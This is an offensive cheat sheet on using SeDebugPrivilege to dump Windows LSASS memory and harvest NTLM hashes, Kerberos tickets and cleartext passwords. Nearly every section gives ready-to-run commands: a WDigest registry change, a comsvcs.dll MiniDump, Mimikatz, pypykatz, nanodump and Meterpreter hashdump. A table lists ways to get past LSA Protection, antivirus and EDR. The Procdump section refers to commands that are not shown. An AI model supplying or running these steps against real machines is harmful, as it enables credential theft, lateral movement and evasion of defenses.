SeDebugPrivilege — LSASS Credential Dumping¶
When You See This Privilege¶
- Members of the Administrators group (even without UAC elevation in some configs)
- Explicitly granted via Local Security Policy or Group Policy
What SeDebug Allows¶
SeDebugPrivilege lets you open a handle to any process with PROCESS_ALL_ACCESS, regardless of the process's security descriptor. This includes lsass.exe, which stores credentials in memory.
What You Get from LSASS¶
| Credential Type | Description | Use Case |
|---|---|---|
| NTLM hashes | NT hash of user passwords | Pass-the-Hash (PtH) |
| Cleartext passwords | If WDigest is enabled | Direct authentication |
| Kerberos TGT/TGS | Ticket Granting Tickets | Pass-the-Ticket (PtT) |
| DPAPI master keys | Decryption keys for user secrets | Decrypt saved passwords, certs |
| MSV1_0 credentials | Cached logon data | Offline cracking |
When are cleartext passwords available?
- Windows 2008 R2 / Windows 7 and older: WDigest enabled by default → cleartext in memory
- Windows 2012 / Windows 8+: WDigest disabled by default
- Force WDigest on newer systems (requires admin, for persistence):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f— then wait for a user to log in again
Method 1: Procdump (Sysinternals) — Lowest Detection¶
Signed Microsoft binary → less likely to trigger AV/EDR.
Then extract credentials offline on your attacker machine:
Method 2: comsvcs.dll — No External Tools¶
Uses a built-in Windows DLL. Nothing to transfer to the target.
:: Step 1: Find LSASS PID
tasklist /fi "imagename eq lsass.exe"
:: Step 2: Dump using rundll32 (replace 672 with actual PID)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 672 C:\temp\lsass.dmp full
# PowerShell version (auto-finds PID)
$lsass = Get-Process lsass
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass.Id C:\temp\lsass.dmp full
Must Run from Elevated Context
The comsvcs.dll method requires an elevated (High Integrity) process. If you're in a Medium Integrity shell, you'll need to bypass UAC first.
Method 3: Task Manager — GUI Access Only¶
- Open Task Manager (
Ctrl+Shift+Esc) - Click More details if in simple view
- Go to Details tab
- Right-click
lsass.exe→ Create dump file - Note the saved path (usually
%TEMP%\lsass.DMP) - Transfer to attacker machine
- Parse with Mimikatz or pypykatz
Method 4: Mimikatz — Direct Extraction¶
If you can run Mimikatz on the target:
:: Enable debug privilege
mimikatz# privilege::debug
:: Dump all logon credentials
mimikatz# sekurlsa::logonPasswords
:: Dump specific credential types
mimikatz# sekurlsa::msv :: NTLM hashes
mimikatz# sekurlsa::kerberos :: Kerberos tickets
mimikatz# sekurlsa::wdigest :: WDigest cleartext
mimikatz# sekurlsa::tspkg :: Terminal Services
Method 5: pypykatz — Offline Python Parsing¶
Parse LSASS dumps on your Linux attacker machine without Mimikatz.
# Install
pip3 install pypykatz
# Parse the dump
pypykatz lsa minidump lsass.dmp
# Output specific formats
pypykatz lsa minidump lsass.dmp -o json > creds.json
Method 6: nanodump — Evasive Dumping¶
Modern, stealthy LSASS dumping tool designed to evade EDR.
Repo: github.com/helpsystems/nanodump
:: Create a minidump of LSASS
nanodump.exe --write C:\temp\lsass.dmp
:: Dump to a named pipe (avoids writing to disk)
nanodump.exe --fork --write \\.\pipe\dump
Alternative: Process Memory Without SeDebug¶
If you don't have SeDebugPrivilege but have SYSTEM access via another method:
:: Migrate to lsass.exe in Meterpreter
meterpreter> ps :: find lsass PID
meterpreter> migrate PID
meterpreter> hashdump
:: Or load kiwi (Mimikatz module)
meterpreter> load kiwi
meterpreter> creds_all
Defenses You May Encounter¶
| Defense | Impact | Bypass |
|---|---|---|
| LSA Protection (RunAsPPL) | Blocks unsigned processes from reading LSASS | Use signed tools (procdump), or load vuln driver to disable PPL |
| Credential Guard | Isolates creds in VBS hypervisor container | Cannot bypass from OS level — look for creds elsewhere |
| Windows Defender / AV | Blocks known tools (Mimikatz, procdump) | Use comsvcs.dll, nanodump, or custom tools |
| EDR | Detects LSASS access patterns | Use indirect methods, fork processes, or avoid LSASS entirely |